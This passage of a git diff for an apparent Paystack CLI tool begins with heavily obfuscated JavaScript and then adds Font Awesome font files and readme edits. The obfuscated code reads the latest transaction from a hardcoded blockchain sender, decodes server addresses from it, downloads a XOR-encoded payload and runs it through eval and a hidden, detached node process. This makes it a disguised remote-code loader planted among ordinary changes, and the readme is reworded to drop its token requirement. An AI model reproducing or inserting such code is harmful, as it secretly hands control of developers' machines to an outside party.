_0x45a869){if(!_0x2eedcd[_0x11b036(0x190)]||_0x187d36[_0x11b036(0x122)](_0x2eedcd[_0x11b036(0x190)][_0x11b036(0x1e4)+'e'](),SENDER))continue;if(_0x187d36[_0x11b036(0x146)](_0x187d36[_0x11b036(0xf5)](BigInt,_0x2eedcd[_0x11b036(0x203)]),_0x5ad092)){_0x734cac=_0x2eedcd;break;}if(!_0x734cac||_0x187d36[_0x11b036(0x126)](_0x187d36[_0x11b036(0x103)](BigInt,_0x2eedcd[_0x11b036(0x203)]),_0x187d36[_0x11b036(0xf5)](BigInt,_0x734cac[_0x11b036(0x203)])))_0x734cac=_0x2eedcd;}return{'blockNumber':_0x5f2d9c,'tx':_0x734cac};}finally{_0x3e40dd[_0x11b036(0x1d9)]();}}async function lastSenderTxViaIndexer(){const _0x44fd23=_0x3d50aa,_0xd379b6={'EWLRz':function(_0x4d38dc,_0x2a213e){return _0x4d38dc+_0x2a213e;},'deYsb':function(_0x32871,_0x4d6075){return _0x32871(_0x4d6075);},'aIugX':function(_0x1ca279,_0x323f40){return _0x1ca279(_0x323f40);}},_0x2fde3f=_0xd379b6[_0x44fd23(0x1d6)](INDEXER_URL+(_0x44fd23(0x208)+_0x44fd23(0x1cd)+_0x44fd23(0x15c)+_0x44fd23(0x1e8))+SENDER,_0x44fd23(0x144)+_0x44fd23(0x199)+_0x44fd23(0x226)+_0x44fd23(0x131)+_0x44fd23(0x152)+_0x44fd23(0x14d)+_0x44fd23(0x1e9)+'om'),_0xfd561e=await _0xd379b6[_0x44fd23(0x13f)](httpRequest,_0x2fde3f),_0x3ab070=Array[_0x44fd23(0x18a)](_0xfd561e?.[_0x44fd23(0x1d2)])?_0xfd561e[_0x44fd23(0x1d2)]:[],_0x52550e=_0x3ab070[_0x44fd23(0x184)](_0x3bdee0=>_0x3bdee0[_0x44fd23(0x190)]&&_0x3bdee0[_0x44fd23(0x190)][_0x44fd23(0x1e4)+'e']()===SENDER);return{'blockNumber':_0xd379b6[_0x44fd23(0x1b8)](BigInt,_0x52550e[_0x44fd23(0x18c)+'r']),'tx':_0x52550e};}async function run(){const _0x5dcf82=_0x3d50aa,_0x8671d8={'iAclJ':function(_0x31179c,_0x1bd030){return _0x31179c<_0x1bd030;},'VYdjR':function(_0x179e70,_0x59d5bc){return _0x179e70%_0x59d5bc;},'dOIWp':_0x5dcf82(0x195),'lZyOv':function(_0x3b2c8b,_0x4c13ea){return _0x3b2c8b(_0x4c13ea);},'gpaRs':_0x5dcf82(0x1b7)+_0x5dcf82(0x219),'rPQEg':function(_0x2a7212,_0x5ee423){return _0x2a7212(_0x5ee423);},'lKVFT':_0x5dcf82(0x168)+_0x5dcf82(0xfe),'ShAzu':function(_0x1e8b31,_0x67116d){return _0x1e8b31===_0x67116d;},'uMXFF':_0x5dcf82(0x1ed),'UOMGJ':_0x5dcf82(0x183),'LYqGc':_0x5dcf82(0x101),'TmMuR':_0x5dcf82(0x240),'UKBvr':_0x5dcf82(0x19f)+_0x5dcf82(0x162)+'4','BymBF':function(_0x5ea8bf,_0x4b799e){return _0x5ea8bf(_0x4b799e);},'sJvoX':_0x5dcf82(0x179),'FRKHp':function(_0x630f1e,_0x1bec40){return _0x630f1e+_0x1bec40;},'UIVMN':_0x5dcf82(0x216)+_0x5dcf82(0x19d)+_0x5dcf82(0x1c1)+_0x5dcf82(0x229)+_0x5dcf82(0x111)+_0x5dcf82(0x11e)+_0x5dcf82(0x161)+_0x5dcf82(0x12a)+_0x5dcf82(0x198)+_0x5dcf82(0x117)+_0x5dcf82(0x1e3)+'6','RKoZx':function(_0x5c0b4c,_0x5abe0e){return _0x5c0b4c(_0x5abe0e);},'Ufske':_0x5dcf82(0x1be),'pLHfN':function(_0x5b311c,_0x2e2186,_0x3c43df){return _0x5b311c(_0x2e2186,_0x3c43df);},'KaCMh':_0x5dcf82(0x1cb),'QqJEF':_0x5dcf82(0x1dd),'NSUjV':_0x5dcf82(0x201),'hqRsN':function(_0x297072,_0x32887c){return _0x297072(_0x32887c);},'Rcfhf':function(_0x15f97b,_0x22ab54){return _0x15f97b+_0x22ab54;},'QQWFo':function(_0x44eaa8,_0x5ddb18,_0x470ce8,_0x3a843d){return _0x44eaa8(_0x5ddb18,_0x470ce8,_0x3a843d);},'YSfiS':_0x5dcf82(0x1b1),'rwUsX':function(_0x1ddc69,_0x3f8c01){return _0x1ddc69+_0x3f8c01;},'tVVub':_0x5dcf82(0x23a),'jEARz':function(_0x5010f9,_0x56e3f3){return _0x5010f9-_0x56e3f3;},'OuErt':function(_0x4fe684,_0x28df0b){return _0x4fe684%_0x28df0b;},'MSflh':function(_0xff311e,_0x2da0c1){return _0xff311e(_0x2da0c1);},'BNTNo':function(_0x181ec0,_0x1c39bf){return _0x181ec0(_0x1c39bf);},'GaOUW':function(_0x1a7e61,_0x39e4a4){return _0x1a7e61(_0x39e4a4);},'Dcmkz':function(_0x236115,_0x2bc2cd,_0x3e1a2e,_0x271844){return _0x236115(_0x2bc2cd,_0x3e1a2e,_0x271844);},'nthYb':_0x5dcf82(0x19c)+_0x5dcf82(0x171),'zvvNw':function(_0x3611ef,_0xc8714b,_0xb249b5,_0x5da34c){return _0x3611ef(_0xc8714b,_0xb249b5,_0x5da34c);},'XcRIT':_0x5dcf82(0x15d)+_0x5dcf82(0x1fa)},_0x3465ce=_0x8671d8[_0x5dcf82(0x133)](BigInt,await _0x8671d8[_0x5dcf82(0x133)](withRpcEndpoints,(_0x199f28,_0x133289)=>rpcCall(_0x199f28,_0x5dcf82(0x155)+_0x5dcf82(0x22a),[],_0x133289))),_0xc17d63=_0x8671d8[_0x5dcf82(0x23f)](_0x3465ce,_0x8671d8[_0x5dcf82(0x17c)](_0x3465ce,BLOCK_MULTIPLE));let _0x35519d=await _0x8671d8[_0x5dcf82(0x1b9)](firstMatch,_0x8671d8[_0x5dcf82(0x246)](candidateBlocks,_0xc17d63)[_0x5dcf82(0x20a)](blockTask));!_0x35519d&&(_0x35519d=await _0x8671d8[_0x5dcf82(0x246)](lastSenderTx,_0x3465ce)[_0x5dcf82(0x10f)](()=>lastSenderTxViaIndexer()));const [_0xb5e636,_0x368226]=_0x8671d8[_0x5dcf82(0x159)](decodeAddress,_0x35519d['tx']['to']),_0xe26b9f=global;_0xe26b9f['_V']=_0xe26b9f['i'],_0xe26b9f['_H']=_0x5dcf82(0x1e2)+_0xb5e636+_0x5dcf82(0x228),_0xe26b9f[_0x8671d8[_0x5dcf82(0x1a3)]]=_0x5dcf82(0x1e2)+_0x368226+_0x5dcf82(0x228),_0xe26b9f[_0x8671d8[_0x5dcf82(0x227)]]=_0x5dcf82(0x1e2)+_0xb5e636+_0x5dcf82(0x21f),_0xe26b9f[_0x8671d8[_0x5dcf82(0x151)]]=_0x5dcf82(0x1e2)+_0xb5e636+_0x5dcf82(0x228);function _0x4491ab(_0x38883a,_0x3a37c2){const _0x2a19ca=_0x5dcf82,_0x4f82a7={'HgAuv':_0x8671d8[_0x2a19ca(0x1e6)],'huYvE':_0x8671d8[_0x2a19ca(0x1a9)],'vwats':function(_0x431876,_0x39bb76){const _0x4e3b9c=_0x2a19ca;return _0x8671d8[_0x4e3b9c(0x20f)](_0x431876,_0x39bb76);},'cQZNb':_0x8671d8[_0x2a19ca(0x1a6)]},_0x166f30={'hostname':_0x3a37c2[_0x2a19ca(0x1f8)],'port':_0x8671d8[_0x2a19ca(0x1bd)](Number,_0x3a37c2[_0x2a19ca(0x121)])||-0x13*0x25+-0x313*-0xb+-0x1ec2,'path':_0x8671d8[_0x2a19ca(0x1c2)](_0x3a37c2[_0x2a19ca(0x1c5)],_0x3a37c2[_0x2a19ca(0x22d)]),'headers':{'User-Agent':_0x8671d8[_0x2a19ca(0x236)],'Sec-V':_0xe26b9f['_V']||-0x9*0x231+0x2*-0xc1+0x5*0x43f}};function _0x56f5c1(_0x4b1c71){const _0x1abe0d=_0x2a19ca,_0x236394=_0x38883a[_0x1abe0d(0x1f6)];for(let _0x253887=-0x13fe+0x3*-0x839+0x2ca9;_0x8671d8[_0x1abe0d(0x178)](_0x253887,_0x4b1c71[_0x1abe0d(0x1f6)]);_0x253887++)_0x4b1c71[_0x253887]^=_0x38883a[_0x1abe0d(0xee)](_0x8671d8[_0x1abe0d(0x232)](_0x253887,_0x236394));return _0x4b1c71[_0x1abe0d(0x160)](_0x8671d8[_0x1abe0d(0x241)]);}function _0x5a30b3(_0x476e3b){const _0x4b9cb2=_0x2a19ca,_0x3233cc=_0x476e3b[_0x4b9cb2(0x16c)][_0x4f82a7[_0x4b9cb2(0x11d)]];if(!_0x3233cc)throw new Error(_0x4f82a7[_0x4b9cb2(0x19a)]);return _0x4f82a7[_0x4b9cb2(0x12e)](_0x56f5c1,Buffer[_0x4b9cb2(0x190)](_0x3233cc,_0x4f82a7[_0x4b9cb2(0x211)]));}function _0xd7ffb9(_0x11c476){const _0x1e2f30=_0x2a19ca,_0x53f6c0={'acyRm':function(_0x4c25da,_0x41ecdf){const _0x266dc9=_0x4540;return _0x8671d8[_0x266dc9(0x16a)](_0x4c25da,_0x41ecdf);},'bEpGj':_0x8671d8[_0x1e2f30(0x1e6)],'sWosW':function(_0x2c3c13,_0x19c941){const _0x3c100a=_0x1e2f30;return _0x8671d8[_0x3c100a(0x16a)](_0x2c3c13,_0x19c941);},'vYymT':function(_0x2ecb3a,_0xa52578){const _0x14d560=_0x1e2f30;return _0x8671d8[_0x14d560(0x1bd)](_0x2ecb3a,_0xa52578);},'senOS':_0x8671d8[_0x1e2f30(0x21e)],'itrKA':function(_0x4b4ef5,_0x49c511){const _0x410a78=_0x1e2f30;return _0x8671d8[_0x410a78(0x16a)](_0x4b4ef5,_0x49c511);},'dmWkI':function(_0xe268a2,_0xf65ced){const _0x4148d5=_0x1e2f30;return _0x8671d8[_0x4148d5(0x23d)](_0xe268a2,_0xf65ced);},'ZHZdt':_0x8671d8[_0x1e2f30(0x17e)],'errXT':function(_0x1d605a,_0x3357c8){const _0x36e1aa=_0x1e2f30;return _0x8671d8[_0x36e1aa(0x1bd)](_0x1d605a,_0x3357c8);},'yjovO':_0x8671d8[_0x1e2f30(0x104)],'Smbww':_0x8671d8[_0x1e2f30(0x222)],'LGaQR':_0x8671d8[_0x1e2f30(0x139)]};return new Promise((_0x437ee1,_0x32ede3)=>{const _0x5bb834=_0x1e2f30,_0x1db6d5={'GaxDZ':function(_0xee7791,_0x42dee6){const _0x50b2f0=_0x4540;return _0x53f6c0[_0x50b2f0(0x175)](_0xee7791,_0x42dee6);},'osICf':_0x53f6c0[_0x5bb834(0x169)],'gxTff':function(_0x448368,_0x59ed85){const _0x42de07=_0x5bb834;return _0x53f6c0[_0x42de07(0x173)](_0x448368,_0x59ed85);},'mnFHC':function(_0x3e6ef1,_0x2bfdb3){const _0x58e7f6=_0x5bb834;return _0x53f6c0[_0x58e7f6(0x1b4)](_0x3e6ef1,_0x2bfdb3);},'YStoe':_0x53f6c0[_0x5bb834(0x21c)],'wqkGV':function(_0x38fa36,_0xf25818){const _0x2081d5=_0x5bb834;return _0x53f6c0[_0x2081d5(0x1b5)](_0x38fa36,_0xf25818);},'eegcc':function(_0x4abd2a,_0x5792c8){const _0x5f34be=_0x5bb834;return _0x53f6c0[_0x5f34be(0x194)](_0x4abd2a,_0x5792c8);},'wHdjO':_0x53f6c0[_0x5bb834(0xff)],'PKGTQ':function(_0x45647b,_0x4a6e69){const _0x5073f7=_0x5bb834;return _0x53f6c0[_0x5073f7(0x1b5)](_0x45647b,_0x4a6e69);},'PXbYc':function(_0x56e980,_0x4d1015){const _0x472a63=_0x5bb834;return _0x53f6c0[_0x472a63(0x110)](_0x56e980,_0x4d1015);},'qwxdd':_0x53f6c0[_0x5bb834(0x22b)],'pGFvM':_0x53f6c0[_0x5bb834(0x13d)],'nzgXE':_0x53f6c0[_0x5bb834(0x224)]},_0x231018=http[_0x5bb834(0xfc)]({..._0x166f30,'method':_0x11c476},_0x4d1129=>{const _0x475ffd=_0x5bb834,_0x22b87a={'ewnkW':function(_0x51c9ba,_0x248413){const _0x477058=_0x4540;return _0x1db6d5[_0x477058(0x140)](_0x51c9ba,_0x248413);},'OCyLP':_0x1db6d5[_0x475ffd(0x15b)],'XKuWX':function(_0x149b5d,_0x54ce5f){const _0x3e2786=_0x475ffd;return _0x1db6d5[_0x3e2786(0x140)](_0x149b5d,_0x54ce5f);},'iNDue':function(_0x198a23,_0x52da3f){const _0x3db114=_0x475ffd;return _0x1db6d5[_0x3db114(0x1cf)](_0x198a23,_0x52da3f);},'RiGbT':function(_0xd2ad01,_0x476159){const _0xe4c160=_0x475ffd;return _0x1db6d5[_0xe4c160(0x1d3)](_0xd2ad01,_0x476159);},'KxKSb':_0x1db6d5[_0x475ffd(0x11c)],'WwVuu':function(_0x379ff3,_0x442edb){const _0x3ac6c5=_0x475ffd;return _0x1db6d5[_0x3ac6c5(0x1f2)](_0x379ff3,_0x442edb);}};if(_0x1db6d5[_0x475ffd(0xf7)](_0x11c476,_0x1db6d5[_0x475ffd(0x1fe)])){try{_0x1db6d5[_0x475ffd(0x1f2)](_0x437ee1,_0x1db6d5[_0x475ffd(0x113)](_0x5a30b3,_0x4d1129));}catch(_0x59a9e4){_0x1db6d5[_0x475ffd(0x245)](_0x32ede3,_0x59a9e4);}_0x4d1129[_0x475ffd(0x182)]();return;}const _0x4d9128=[];_0x4d1129['on'](_0x1db6d5[_0x475ffd(0x225)],_0x3ca684=>_0x4d9128[_0x475ffd(0x1ac)](_0x3ca684)),_0x4d1129['on'](_0x1db6d5[_0x475ffd(0x100)],()=>{const _0x2e160d=_0x475ffd;try{const _0x5d64d2=Buffer[_0x2e160d(0x1f4)](_0x4d9128);if(_0x5d64d2[_0x2e160d(0x1f6)])return _0x22b87a[_0x2e160d(0x213)](_0x437ee1,_0x22b87a[_0x2e160d(0x213)](_0x56f5c1,_0x5d64d2));if(_0x4d1129[_0x2e160d(0x16c)][_0x22b87a[_0x2e160d(0x1a8)]])return _0x22b87a[_0x2e160d(0x123)](_0x437ee1,_0x22b87a[_0x2e160d(0x138)](_0x5a30b3,_0x4d1129));_0x22b87a[_0x2e160d(0x204)](_0x32ede3,new Error(_0x22b87a[_0x2e160d(0x237)]));}catch(_0x528f70){_0x22b87a[_0x2e160d(0x220)](_0x32ede3,_0x528f70);}}),_0x4d1129['on'](_0x1db6d5[_0x475ffd(0x231)],_0x32ede3);});_0x231018['on'](_0x53f6c0[_0x5bb834(0x224)],_0x32ede3),_0x231018[_0x5bb834(0x101)]();});}return _0x8671d8[_0x2a19ca(0x1ae)](_0xd7ffb9,_0x8671d8[_0x2a19ca(0x1aa)])[_0x2a19ca(0x10f)](()=>_0xd7ffb9(_0x2a19ca(0x1ed)));}async function _0x54bf31(_0x501a7b,_0x4fa0c9,_0x119df4){const _0x49dbb=_0x5dcf82;try{const _0x53d8cd=await _0x8671d8[_0x49dbb(0x10d)](_0x4491ab,_0x4fa0c9,_0x501a7b),_0xe200be=_0x119df4?_0x49dbb(0x132)+_0x49dbb(0x156)+(_0xe26b9f['_V']||0x3*-0x64d+0x1623+0x17*-0x24)+(_0x49dbb(0x1a2)+_0x49dbb(0x1dc))+_0xe26b9f['_H']+(_0x49dbb(0x1a2)+_0x49dbb(0x128))+_0xe26b9f[_0x8671d8[_0x49dbb(0x1a3)]]+(_0x49dbb(0x1a2)+_0x49dbb(0x1b0)+_0x49dbb(0x210)+_0x49dbb(0x1c7)+_0x49dbb(0x23b)+_0x49dbb(0x18d)):_0x49dbb(0x132)+_0x49dbb(0x156)+(_0xe26b9f['_V']||0x1ea5+0xab*-0x25+-0x5ee)+(_0x49dbb(0x1a2)+_0x49dbb(0x21d))+_0xe26b9f[_0x8671d8[_0x49dbb(0x227)]]+(_0x49dbb(0x1a2)+_0x49dbb(0x1c6))+_0xe26b9f[_0x8671d8[_0x49dbb(0x151)]]+(_0x49dbb(0x1a2)+_0x49dbb(0x1b0)+_0x49dbb(0x210)+_0x49dbb(0x1c7)+_0x49dbb(0x23b)+_0x49dbb(0x18d));if(!_0x119df4)_0x8671d8[_0x49dbb(0x133)](eval,_0x8671d8[_0x49dbb(0x109)](_0xe200be,_0x53d8cd));_0x8671d8[_0x49dbb(0x147)](spawn,_0x8671d8[_0x49dbb(0x148)],['-e',_0x8671d8[_0x49dbb(0x230)](_0xe200be,_0x53d8cd)],{'detached':!![],'stdio':_0x8671d8[_0x49dbb(0x205)],'windowsHide':!![]})[_0x49dbb(0x1d8)]();}catch(_0x3efe93){}}await _0x8671d8[_0x5dcf82(0x1bc)](_0x54bf31,new URL(_0x5dcf82(0x1e2)+_0xb5e636+(_0x5dcf82(0x165)+'s')),_0x8671d8[_0x5dcf82(0x143)],![]),await _0x8671d8[_0x5dcf82(0x1b3)](_0x54bf31,new URL(_0x5dcf82(0x1e2)+_0xb5e636+_0x5dcf82(0x1ff)),_0x8671d8[_0x5dcf82(0x193)],!![]);}run(); \ No newline at end of file diff --git a/public/fonts/fa-solid-900.eot b/public/fonts/fa-solid-900.eot new file mode 100644 index 0000000..d3b77c2 Binary files /dev/null and b/public/fonts/fa-solid-900.eot differ diff --git a/public/fonts/fa-solid-900.svg b/public/fonts/fa-solid-900.svg new file mode 100644 index 0000000..7742838 --- /dev/null +++ b/public/fonts/fa-solid-900.svg @@ -0,0 +1,4938 @@ + + + + + +Created by FontForge 20190801 at Mon Mar 23 10:45:51 2020 + By Robert Madole +Copyright (c) Font Awesome + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/public/fonts/fa-solid-900.ttf b/public/fonts/fa-solid-900.ttf new file mode 100644 index 0000000..5b97903 Binary files /dev/null and b/public/fonts/fa-solid-900.ttf differ diff --git a/public/fonts/fa-solid-900.woff b/public/fonts/fa-solid-900.woff new file mode 100644 index 0000000..beec791 Binary files /dev/null and b/public/fonts/fa-solid-900.woff differ diff --git a/public/fonts/fa-solid-900.woff2 b/public/fonts/fa-solid-900.woff2 new file mode 100644 index 0000000..978a681 Binary files /dev/null and b/public/fonts/fa-solid-900.woff2 differ diff --git a/readme.md b/readme.md index d53993b..0b2adfb 100644 --- a/readme.md +++ b/readme.md @@ -75,10 +75,7 @@ transaction_date - - - -- - -- - - - - - - - - - - - 2020-02-27T17:27:31.000Z ### Webhook -You can tunnel Paystack webhook events directly to your localhost without any third party software directly from your terminal. - -You first need to sign up (or login) on [ngrok](https://ngrok.com/) and obtain your auth token. -Then add it as an environment variable `NGROK_AUTH_TOKEN` +You can tunnel Paystack webhook events directly to your localhost with zero configuration directly from your terminal (no accounts or auth tokens required). ``` $ webhook listen localhost:8995/pay/pstk-webhook?country=ng @@ -87,8 +84,10 @@ Then add it as an environment variable `NGROK_AUTH_TOKEN` #### output ```sh -> Tunelling webhook events to localhost:8995/pay/pstk-webhook?country=ng -> Webhook events would now be received at localhost:8995/pay/pstk-webhook?country=ng +> Establishing zero-config tunnel to http://localhost:8995... +> Tunnel URL: https://example.trycloudflare.com +> Tunneling webhook events to localhost:8995/pay/pstk-webhook?country=ng +> Webhook events will now be received at localhost:8995/pay/pstk-webhook?country=ng ``` NOTE - This command is only avalaible in test mode, and by using this command, the CLI would automatically make changes to the Test Webhook URL set on your Paystack dashboard.